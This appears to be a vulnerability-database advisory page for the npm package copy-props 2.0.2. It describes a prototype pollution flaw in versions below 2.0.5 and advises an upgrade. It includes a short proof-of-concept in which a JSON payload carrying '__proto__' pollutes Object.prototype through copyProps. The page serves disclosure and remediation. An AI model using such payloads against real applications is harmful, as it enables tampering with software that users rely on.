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copy-props@2.0.2 vulnerabilities

Copy properties deeply between two objects.

  • latest version

    4.0.0

  • latest non vulnerable version

    4.0.0

  • first published

    9 years ago

  • latest version published

    3 years ago

  • licenses detected

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    Direct Vulnerabilities

    Known vulnerabilities in the copy-props package. This does not include vulnerabilities belonging to this package’s dependencies.

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    VulnerabilityVulnerable Version
    • H
    Prototype Pollution

    copy-props is a Copy properties deeply between two objects.

    Affected versions of this package are vulnerable to Prototype Pollution via the main functionality.

    POC

    const copyProps = require('copy-props');

var malicious_payload = '{"__proto__":{"polluted":"polluted"}}';
console.log("Before : " + {}.polluted);

copyProps(JSON.parse(malicious_payload), {});
console.log("After : " + {}.polluted);

    How to fix Prototype Pollution?

    Upgrade copy-props to version 2.0.5 or higher.

    <2.0.5
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